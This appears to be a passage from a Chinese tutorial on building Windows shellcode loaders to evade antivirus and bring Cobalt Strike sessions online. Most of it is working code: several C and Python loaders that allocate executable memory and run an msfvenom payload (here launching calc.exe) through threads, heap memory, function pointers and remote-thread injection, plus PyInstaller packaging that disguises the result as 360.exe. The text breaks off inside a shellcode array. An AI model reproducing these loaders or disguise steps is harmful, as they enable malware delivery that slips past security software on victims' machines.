总字符数: 39.53K

代码: 32.95K, 文本: 4.01K

预计阅读时间: 2.68 小时

Shellcode

什么是Shellcode

Shellcode 是一种特殊的二进制代码, 它利用已知的特定于平台的机制来执行特定的操作(创建进程,启动TCP连接等)。Windows shellcode通常使用TEB(线程环境块)和PEB(进程环境块)来查找加载的系统库(kernel32.dll,kernelbase.dll或ntdll.dll)的地址,然后“浏览”它们以查找LoadLibrary和GetProcAddress函数的地址,然后可以使用这些地址来定位其他函数。例如获取系统权限、建立远程访问通道、执行恶意代码等.
Shellcode 的名称来源于其最常见的用途之一,即在成功利用后注入代码来获取系统shell的控制权

Shellcode是一个引导代码,

1
exe文件-->硬盘-->把exe内容,读取到内存中-->转成二进制指令-->cpu运行

Shellcode 通常以二进制格式存储,因为它需要直接由计算机的中央处理单元(CPU)执行.
这与源代码或文本文件不同,这些文件需要编译或解释成机器码才能执行.

在一般情况下, Shellcode 可能以十六进制字符串的形式出现 ,但在运行时,这些字符串通常会被解析为二进制数据.要使用 Shellcode,通常需要将它嵌入到合适的载体中或以其他方式将其传递给目标系统,以便执行其中的指令.

为什么有Shellcode

如果只是针对免杀而言, Shellcode的出现可以帮助我们进行各种不同方式上线cs, 从而解决了只有exe上线做免杀的那几种受限的方法, 提供更多不同的免杀处理方式

Shellcode如何运行

上面我们了解到, 一般情况下我们拿到的 Shellcode, 要么是一个16进制字符串, 要么是一个二进制文件, 他们都是不能单独直接可以运行的文件, 所以我们需要借助加载器实现Shellcode在目标机器中运行

Shellcode加载器

可以运行以十六进制字符串表示的shellcode的工具

加载器的基本流程

首先Shellcode加载器既然是通过代码编写, 那么在理论上不同编程语言都可以编写.

整个Shellcode想要执行, 需要加载器做那些事情呢? 由于Shellcode直接由cpu执行, 那么回想一个程序是怎么跑起来的? 首先程序运行产生的数据一定是在内存中, 数据从内存中取出来, 翻译成指令, cpu执行这些指令

所以我的加载器, 需要实现的功能就是

  1. 开辟内存
  2. 把Shellcode放到这块内存中
  3. 想办法让这块内存中的Shellcode被cpu执行回调函数执行

既然需要将Shellcode放到内存中那必定离不开Windows底层的东西.Windows专门提供了相关API供我们和系统底层交互

VirtualAlloc函数

VirtualAlloc是Windows操作系统和中的一个函数,用于在当前进程的虚拟地址空间中分配内存,它是一种用于动态内存分配的重要函数,适用于在运行时分配内存块的情况.

1
2
3
4
5
6
7
LPVOID
VirtualAlloc(
LPVOID lpAddress, // 指定分配或保留的内存区域的首选基地址.如果此参数为NULL,则会选择适当的地址.如果指定了地址,系统将尝试在指定的基地址上分配内存.注意,此地址必须是页对齐的.
SIZE_T dwSize, // 指定要分配的内存区域大小,以字节为单位
DWORD flAllocationType, // 指定内存的分配类型
DWORD flProtect //flProtect: 指定内存保护属性.
)

flAllocationType可能值包括:

  1. MEM_COMMIT (0x1000)物理页面分配给内存中的一个或多个页,并将这些页的内容初始化为零.如果同时指定了 MEM_RESERVE,则系统会保留这些页的地址空间而不将它们分配给任何物理页面.
  2. MEM_RESERVE (0x2000)保留指定地址空间,不分配物理内存.这样可以阻止其他内存分配函数malloc和LocalAlloc等再使用已保留的内存范围,直到它被释放.当使用上面的VirtualAlloc函数保留了一段地址空间后,接下还你还可以继续多次调用同样的函数提交这段地址空间中的不同页面.
  3. MEM_RESET (0x80000)将分配的页面的内容初始化为零.这个标志仅在使用MEM_COMMIT 标志时才有意义.

flProtect可能值包括:

  1. PAGE_EXECUTE (0x10)允许页面被执行.
  2. PAGE_EXECUTE_READ (0x20)允许页面被执行和读取.
  3. PAGE_EXECUTE_READWRITE (0x40)允许页面被执行、读取和写入.可读可写可执行
  4. PAGE_EXECUTE_WRITECOPY (0x80)允许页面被执行和写入.页面内容可以被其他进程写入
  5. PAGE_READONLY (0x02)允许页面被读取
  6. PAGE_READWRITE (0x04)允许页面被读取和写入
  7. PAGE_WRITECOPY (0x08)允许页面被写入.页面内容可以被其他进程写入

VirtualAlloc函数可以用于多种用途,包括分配可执行代码、数据、堆、栈等.通常,在分配可执行代码时,可将flProtect设置为PAGE_EXECUTE_READWRITE或类似的值,以便在分配的内存上执行代码.

Memcpy函数

Memcpy是C标准库中的一个函数,用于将内存块中的内容从一个位置复制到另一个位置.

1
2
3
4
5
void *memcpy(
void* _Dst, // 指向目标内存区域的指针,即复制操作的目标位置.
void const* _Src, // 指向源内存区域的指针,即复制操作的源位置.
size_t _Size // 要复制的字节数.
);

现在内存相关的操作, 这些函数都可以实现了, 就差怎么执行Shellcode了, 执行Shellcode的方式很多, 后

面会专门拿出来总结都有哪些, 当下我们使用 创建线程 运行我们的Shellcode, 这就需要 CreateThread

CreateThread

CreateThread是Windows API中用于创建新线程的函数.

1
2
3
4
5
6
7
8
9
HANDLE
CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 一个指向SECURITY_ATTRIBUTES结构的指针,用于指定新线程的安全性.可以为NULL表示使用默认的线程安全性.
SIZE_T dwStackSize, // 指定新线程的初始堆栈大小.可以为 0,表示使用默认堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 指向线程函数的指针,即新线程的入口点.线程函数是一个LPTHREAD_START_ROUTINE类型的函数指针,通常是线程的主要执行体.
LPVOID lpParameter, // 传递给线程函数的参数.这是一个指向任意类型的指针,可以用来传递数据给线程函数.
DWORD dwCreationFlags, // 指定新线程的创建标志
LPDWORD lpThreadId // 一个指向DWORD的指针,用于接收新线程的标识符(线程 ID).如果不需要线程 ID,可以传递NULL
);

dwCreationFlags常见的标志有:

  1. 0默认标志,表示线程立即可执行.
  2. CREATE_SUSPENDED (0x00000004)创建后线程处于挂起状态,需要调用ResumeThread才能执行.

C语言加载器

windows api函数我们了解了, 但是如何使用这些函数的? 用什么编程语言呢?自然是c语言啦, 在c语言中可以很方便的调用 windows api函数, 帮助我们编写Shellcode加载器

加载器代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/exec CMD=calc.exe -f c >shellcode.c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of c file: 1188 bytes

┌──(kali㉿kali)-[~/Desktop]
└─$ ls
'OSCP Like Machines' shellcode.c

┌──(kali㉿kali)-[~/Desktop]
└─$ cat shellcode.c
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) {
return 0;
}
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)addr,NULL,NULL,0);
// 等待线程运行
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);

}

Python语言加载器

加载器代码

实际上还是借助那些windows api , 但是copy内存的上面是c标准库的函数, 实际上windows 自带的也有copy内存的函数, 那么接下来的编写流程也非常清楚了, 就是如何通过Python代码实现上述那些函数的调用, 以及在Python中16进制的Shellcode是如何字面量定义的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 导入ctypes库
import ctypes

# 从ctypes库中导入windows api函数
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
sc = bytearray(buf)

# 设置VirtualAlloc返回类型为c_uint64
VirtualAlloc.restype = ctypes.c_uint64

# 申请内存
p = VirtualAlloc(0, len(sc), 0x3000, 0x40)
# 将sc指向指针
buf_pointer = (ctypes.c_char * len(sc)).from_buffer(sc)
RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, ctypes.c_int(len(sc)))

# 创建线程
h = CreateThread(None, 0, ctypes.c_void_p(p), None, 0, None)

# 等待线程结束
WaitForSingleObject(h, ctypes.c_int(0xFFFFFFFF))
  1. import ctypes: 导入 ctypes 模块,这个模块提供了与 C 语言兼容的数据类型和函数调用方式.
  2. VirtualAlloc,RtlMoveMemory,CreateThread,WaitForSingleObject:这些变量是通过 ctypes获取 kernel32.dll 中相关函数的句柄,用于内存操作和线程创建等操作.
  3. buf = b"\xfc...."定义了一个包含 Shellcode 的字节数组.
  4. sc = bytearray(buf):将 Shellcode 转换为 bytearray 类型.
  5. VirtualAlloc.restype = ctypes.c_uint64设置VirtualAlloc函数的返回类型为c_uint64
  6. p = VirtualAlloc(0, len(sc), 0x3000, 0x40):调用VirtualAlloc分配内存,用于存放Shellcode.
    • 0x3000表示分配提交MEM_COMMIT和保留MEM_RESERVE的内存
    • 0x40 表示分配可执行
  7. buf_pointer = (ctypes.c_char * len(sc)).from_buffer(sc)将Shellcode的内容指向指针
  8. RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, ctypes.c_int(len(sc)))使用RtlMoveMemory函数将Shellcode复制到申请的内存中.
  9. h = CreateThread(None, 0, ctypes.c_void_p(p), None, 0, None)调用CreateThread创建一个新线程,将刚才分配的内存作为线程的起始地址
  10. WaitForSingleObject(h, ctypes.c_int(0xFFFFFFFF)):h 创建的线程的句柄,ctypes.c_int(0xFFFFFFFF)表示无限期等待这个线程完成

Pyinstaller打包

1
2
3
4
5
6
7
8
9
python38 -m pip install pyinstaller tinyaes
-F 打包成一个exe文件
-w不显示黑窗口 (默认会显示) , 也可以用--noconsole参数
-i指定图标 , .ico文件或者是exe文件 , 会自动提取exe文件的图标 (不推荐图标)
-n指定打包好的文件名
--clean清除上一次打包的文件
--keycjiurfe11a混淆代码功能 (需要安装tinyaes)

pyinstaller -F -w shellcode.py -i "D:\\Penetration\\BypassAV\\SigThief-master\\sign_exe\\360.exe" -n 360.exe --clean --key cbeugtbutrh

打包好的程序在dist目录下 , distdistribution的简写 .为发行版本.

py不支持交叉编译 ,就是Windows你只能打包成exe , 不能打包成Linux上的可执行二进制文件

内存申请函数

VirtualAlloc函数

VirtualAllocEx函数

区别

VirtualAllocExVirtualAlloc都是Windows操作系统中的内存分配函数,但他们在使用场景和功能上有一些不同.

  1. VirtualAlloc用于在当前进程的虚拟地址空间中分配内存.他是一个进程内存分配函数,用于动态分配内存块,供当前进程使用.可以通过设置内存保护属性来指定分配内存的权限,例如:可读写、可执行等.

    1
    LPVOID pMemory = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
  2. VirtualAllocEx用于在其他进程的虚拟地址空间中分配内存,他是一个跨进程的内存分配函数,通常与其他进程间的数据交换、远程线程创建等操作一起使用.可以使用此函数向其他进程注入代码、数据等.

    1
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

总结而言,VirtualAlloc主要用于当前进程内分配内存,而VirtualAllocEx则主要用于在其他进程内分配内存.他们都提供了灵活的内存分配方式,但需要根据实际需求选择适当的函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 获取要执行的进程句柄(当前进程)
HANDLE hProcess = GetCurrentProcess();
// 在目标进程中分配可读可写不可执行的内存
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL,sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
if (pRemoteMemory != nullptr) {
// 将Shellcode复制到目标进程的内存中
WriteProcessMemory(hProcess, pRemoteMemory, buf, sizeof(buf), NULL);

// 修改内存属性为可执行
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemoteMemory, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect);

// 在目标进程中创建线程执行Shellcode
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);

// 释放目标进程中的内存
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);

}
CloseHandle(hProcess);
return 0;
}

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ConsoleApplication1.cpp : 此文件包含 "main" 函数.程序执行将在此处开始并结束.
//

#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 使用malloc分配内存
void* pMemory = malloc(sizeof(buf));
if (pMemory != NULL) {
// 将Shellcode复制到内存中
memcpy(pMemory, buf, sizeof(buf));
// 将内存标记为可执行
DWORD oldProtect;
VirtualProtect(pMemory, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 执行Shellcode
((void(*)())pMemory)();
//释放内存
free(pMemory);
}
return 0;
}

HeapAlloc函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ConsoleApplication1.cpp : 此文件包含 "main" 函数.程序执行将在此处开始并结束.
//

#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
HANDLE hHrp = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHrp, 0, sizeof(buf));
RtlCopyMemory(Mptr, buf, sizeof(buf));
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL,(LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);

return 0;
}

内存属性修改

使用VirtualAlloc函数分配可读可写不可执行的内存,填充shellcode,然后修改内存属性为可执行,最后执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <iostream>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 分配可读可写不可执行的内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
if (pMemory != nullptr) {
// 将shellcode复制到分配的内存中
std::memcpy(pMemory, buf, sizeof(buf));
// 修改内存属性为可执行
DWORD oldProtect;
VirtualProtect(pMemory, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect);
((void(*)())pMemory)();
// 释放内存
VirtualFree(pMemory, 0, MEM_RELEASE);
}

return 0;
}

释放内存

VirtualFree是⼀个WinAPI,用于释放之前分配的内存.该函数应仅在有效载荷完全执行完成后调用,否则可能会释放有效载荷的内容并使进程崩溃.

1
2
3
4
5
BOOL VirtualFree(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);

VirtualFree采用要释放的分配内存的基地址(lpAddress)、要释放的内存大小(dwSize)和释放操作的类型(dwFreeType可以是以下标志之⼀):

  • MEM_DECOMMITVirtualFree调用将释放物理内存,而不会释放与其链接的虚拟地址空间. 因此,虚拟地址空间将来仍可用于分配内存,但与其链接的页面不再受物理内存支持.

  • MEM_RELEASE 虚拟地址空间和与分配的虚拟内存关联的物理内存均被释放.请注意,根据 Microsoft 的文档,使用此标志时,参数dwSize必须为 0

注入执行

指针执行

申请内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x